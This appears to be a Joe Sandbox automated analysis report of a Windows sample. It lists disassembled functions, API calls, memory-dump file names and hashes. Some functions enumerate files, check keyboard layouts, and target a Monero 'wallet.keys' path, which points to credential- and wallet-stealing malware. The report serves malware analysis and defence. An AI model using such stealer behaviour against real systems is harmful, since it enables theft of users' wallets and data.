FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00DA14B0,00DA0C2A), ref: 00D8DAEB
StrCmpCA.SHLWAPI(?,00DA14B4), ref: 00D8DB33
StrCmpCA.SHLWAPI(?,00DA14B8), ref: 00D8DB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00D8DDCC
FindClose.KERNEL32(000000FF), ref: 00D8DDDE

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 11f1f24b96cddbd9bd36b38dda12d6c28091394f4999df41376fcab61b6e3686
Instruction ID: da075d377209da825d3093e45bb582a8b8be69c98a55908e8f1436a99f649473
Opcode Fuzzy Hash: 11f1f24b96cddbd9bd36b38dda12d6c28091394f4999df41376fcab61b6e3686
Instruction Fuzzy Hash: 9E91FE73910118ABCF14FBB4ED569ED737DEF84304F408658A90A96181EE34AB198BF2

Function 01146A11 Relevance: 11.7, Strings: 8, Instructions: 1694COMMON

Download Yara Rule

Strings

QPs, xrefs: 01146AB6
.*6{, xrefs: 01146C6B
e9o, xrefs: 01147C06
Tqw, xrefs: 01146BE3
q8{, xrefs: 01146BF2
k}, xrefs: 01147117
Us, xrefs: 01146AB0
M~}}, xrefs: 0114749E

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Us$e9o$.*6{$M~}}$QPs$Tqw$k}$q8{
API String ID: 0-2272092212
Opcode ID: 3c679804cfabece03ddfc43286e4a05e74372d1d898f77ad7402592321ae772e
Instruction ID: 1f8fce79b391dfb68cd5f1578005c8797d2d6948d384695ffed24f36b84eefa3
Opcode Fuzzy Hash: 3c679804cfabece03ddfc43286e4a05e74372d1d898f77ad7402592321ae772e
Instruction Fuzzy Hash: F0B208F36082149FE304AE2DEC8567AF7E9EF94720F1A853DEAC5C3744EA3558018697

Function 01144F68 Relevance: 11.7, Strings: 8, Instructions: 1669COMMON

Download Yara Rule

Strings

z/=_, xrefs: 01145BFF
jG|/, xrefs: 01145267
o*v, xrefs: 01145A56
7=~, xrefs: 01145E3D
GSs}, xrefs: 01145CFD
>N}, xrefs: 01145448
V'|, xrefs: 0114559F
.!t/, xrefs: 01145001

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .!t/$>N}$GSs}$V'|$jG|/$o*v$z/=_$7=~
API String ID: 0-2346698372
Opcode ID: 150e11e2a1f1ac92cb7ed3d5e0592602e46cdac382a720148caa0a7da0cdf789
Instruction ID: 9ba62a58f383b97f20ec842baaeecc55ddce6f07d6a0e0c6a9072cbc35267038
Opcode Fuzzy Hash: 150e11e2a1f1ac92cb7ed3d5e0592602e46cdac382a720148caa0a7da0cdf789
Instruction Fuzzy Hash: 2AB238F360C2049FE3086E2DEC8567AB7E9EF94720F1A863DE6C5C3744EA3558058697

Function 00D97B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

GetKeyboardLayoutList.USER32(00000000,00000000,00DA05AF), ref: 00D97BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00D97BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00D97C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00D97C62
LocalFree.KERNEL32(00000000), ref: 00D97D22

Strings

/ , xrefs: 00D97C7F

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 12fdac9f3b8b1c37b01ec581a4c5072cb11756dcd18fcaba09ff05df70e08172
Instruction ID: 041b6ee7e4bce4c66485ac309b2513812f702bfc12e134f5e8202d4529a76766
Opcode Fuzzy Hash: 12fdac9f3b8b1c37b01ec581a4c5072cb11756dcd18fcaba09ff05df70e08172
Instruction Fuzzy Hash: B2411872950228ABDB24DB94DC99BEEB7B8FF48700F604199E10962191DB346F85CFB1

Function 0114EE37 Relevance: 10.4, Strings: 7, Instructions: 1688COMMON

Download Yara Rule

Strings

1o, xrefs: 0114FC9F
qq?n, xrefs: 0114F942
G<, xrefs: 0114EF8D
5}3o, xrefs: 0114FBAF
f$og, xrefs: 0114F3BA
Fz6, xrefs: 0114F66A
`1s, xrefs: 0114FEB6

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1o$5}3o$G<$`1s$f$og$qq?n$Fz6
API String ID: 0-1291997573
Opcode ID: 6ff01f6bbc7e0e3ee27f4f6f28443d4f789b7fcc63f64dee63bdfe4ab84b9d56
Instruction ID: 6f6d89635e12730a4f0bd227e1e785e921d10af6a60d270d0454c972896f39b8
Opcode Fuzzy Hash: 6ff01f6bbc7e0e3ee27f4f6f28443d4f789b7fcc63f64dee63bdfe4ab84b9d56
Instruction Fuzzy Hash: 21B219F3A0C2049FE314AE2DEC8567AFBE9EF94320F1A453DEAC5C3744E67558058692

Function 0114D3D1 Relevance: 10.3, Strings: 7, Instructions: 1581COMMON

Download Yara Rule

Strings

!Iw-, xrefs: 0114DE06
7\, xrefs: 0114DBC9
Yc, xrefs: 0114E30C
t}, xrefs: 0114DBF6
@gY, xrefs: 0114D5D5
)^s, xrefs: 0114E646
h[]&, xrefs: 0114D4B4

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !Iw-$@gY$h[]&$t}$)^s$7\$Yc
API String ID: 0-1492173068
Opcode ID: 50db1641fce0acb477a71c40bc2f322a5bcdb22cf413f4c8582c73fbc99c2caa
Instruction ID: ed5b08b5df9103a14154de09ff0c820db120ccb57559db1d4eefa8b0723b63ea
Opcode Fuzzy Hash: 50db1641fce0acb477a71c40bc2f322a5bcdb22cf413f4c8582c73fbc99c2caa
Instruction Fuzzy Hash: 8DA218F360C2049FE3046E2DEC8567ABBE9EF94720F1A493DEAC4C7744E63598058697

Function 01148564 Relevance: 10.3, Strings: 7, Instructions: 1520COMMON

Download Yara Rule

Strings

9R?, xrefs: 01148F1B
mg], xrefs: 011493F7
FUwC, xrefs: 01148DB6
a7s{, xrefs: 0114971E
-4}, xrefs: 011485BD
a7s{, xrefs: 01149787
+Uo, xrefs: 01148935

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +Uo$-4}$9R?$FUwC$a7s{$a7s{$mg]
API String ID: 0-2109487440
Opcode ID: 161edaff18559f33cb3a926af0529a6883f596a16328abd0883a2585a91fda97
Instruction ID: d1dde57f26bdeaa7118fa17a3fc21fdecd03b4edbc5b7a575c740518b20dd023
Opcode Fuzzy Hash: 161edaff18559f33cb3a926af0529a6883f596a16328abd0883a2585a91fda97
Instruction Fuzzy Hash: D3A229F360C2009FE704AE2DEC8567ABBE5EF94320F164A3DE6C4C7744EA3598458697

Function 00D8E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D9A740: lstrcpy.KERNEL32(00DA0E17,00000000), ref: 00D9A788

Part of subcall function 00D9A920: lstrcpy.KERNEL32(00000000,?), ref: 00D9A972
Part of subcall function 00D9A920: lstrcat.KERNEL32(00000000), ref: 00D9A982

Part of subcall function 00D9A9B0: lstrlen.KERNEL32(?,01829188,?,\Monero\wallet.keys,00DA0E17), ref: 00D9A9C5
Part of subcall function 00D9A9B0: lstrcpy.KERNEL32(00000000), ref: 00D9AA04
Part of subcall function 00D9A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00D9AA12

Part of subcall function 00D9A8A0: lstrcpy.KERNEL32(?,00DA0E17), ref: 00D9A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00DA0D73), ref: 00D8E4A2
StrCmpCA.SHLWAPI(?,00DA14F8), ref: 00D8E4F2
StrCmpCA.SHLWAPI(?,00DA14FC), ref: 00D8E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00D8EBDF

Strings

\*.*, xrefs: 00D8E44D

Memory Dump Source

Source File: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: a94b9b31c70e1d0785b1314db47482cb3ad1f46ed0ea32e1f01940a10aa90612
Instruction ID: dcf945ed6d637a4ed12791da83e06bb091927ced2bf60765612929a40ca11763
Opcode Fuzzy Hash: a94b9b31c70e1d0785b1314db47482cb3ad1f46ed0ea32e1f01940a10aa90612
Instruction Fuzzy Hash: 5812EA72910128AADF18FB68DD96EED7379EF54300F4045A9B50A96091EE306F49CFF2

Function 0113CA61 Relevance: 9.1, Strings: 6, Instructions: 1612COMMON

Download Yara Rule

Strings

+I~, xrefs: 0113D8AF
wo, xrefs: 0113CC0D
D8Wo, xrefs: 0113D9B0
,<{{, xrefs: 0113D25C
xC, xrefs: 0113DA53, 0113D940
ffU_, xrefs: 0113CD63

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +I~$,<{{$D8Wo$ffU_$wo$xC
API String ID: 0-1548725151
Opcode ID: e9b61f4a1a4300356467bdb17de129b23d92cf661562db0c03cf2ab5bc0de7f4
Instruction ID: e346b485643e5405596b0cae60da35b2312a15f02fad133d343fb4e9c5643fa0
Opcode Fuzzy Hash: e9b61f4a1a4300356467bdb17de129b23d92cf661562db0c03cf2ab5bc0de7f4
Instruction Fuzzy Hash: 80B2D6B360C200AFE3046E2DEC8567ABBE9EFD4720F1A493DEAC5C7744E63558058697

Function 01143442 Relevance: 9.1, Strings: 6, Instructions: 1595COMMON

Download Yara Rule

Strings

V>kg, xrefs: 011435EC
wH~{, xrefs: 011434F2
"f>, xrefs: 011434FD
'lv, xrefs: 01143C87
a1s!, xrefs: 01143699
a*+, xrefs: 01143BD6

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'lv$V>kg$a*+$a1s!$wH~{$"f>
API String ID: 0-393504497
Opcode ID: 816fc23a1eb80431c4c7e8700a0b50150845a4fcdee139b31baef633997ba5b3
Instruction ID: 1f82b8ffb535f7d1ed50ebb38bdd5f776269482698511456f9cb67554b8b20f9
Opcode Fuzzy Hash: 816fc23a1eb80431c4c7e8700a0b50150845a4fcdee139b31baef633997ba5b3
Instruction Fuzzy Hash: 43B2E2F360C204AFE7086E2DEC8567ABBE9EF94320F16493DE6C5C7744EA3558408697

Function 011524CE Relevance: 7.9, Strings: 5, Instructions: 1631COMMON

Download Yara Rule

Strings

ONn^, xrefs: 01153786
W*g7, xrefs: 01153405
V}7, xrefs: 01152A37
yi{{, xrefs: 011537E0
e=am, xrefs: 01152795

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000FCA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001161000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795561532.0000000001274000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795862466.0000000001275000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795970084.000000000140C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795984485.000000000140D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ONn^$W*g7$e=am$yi{{$V}7
API String ID: 0-413107333
Opcode ID: 1171b7a7396845b71c266bf6dfde8909829f75a72f854418243ea70c9ec49a86
Instruction ID: 5b58f7db8c1b2ae4b0ebf7dbdb4abf524f841ec82b158086fed2a3245ee7e7ad
Opcode Fuzzy Hash: 1171b7a7396845b71c266bf6dfde8909829f75a72f854418243ea70c9ec49a86
Instruction Fuzzy Hash: 16B219F36082009FE708AF2DEC9567ABBE9EFD4320F1A453DE6C5C7744E63558018696

Function 011419E4 Relevance: 7.9, Strings: 5, Instructions: 1601COMMON

Download Yara Rule

Strings

u5\, xrefs: 01141C9C
aHu[, xrefs: 01142782
[e_', xrefs: 0114229F
^n~o, xrefs: 011423F0
R)|, xrefs: 01142CBD

Memory Dump Source

Source File: 00000000.00000002.1795561532.0000000000FDE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.1795391761.0000000000D80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1795411098.0000000000E3D000.00000040.00000001.01000000.00000003.sdmpDownload File
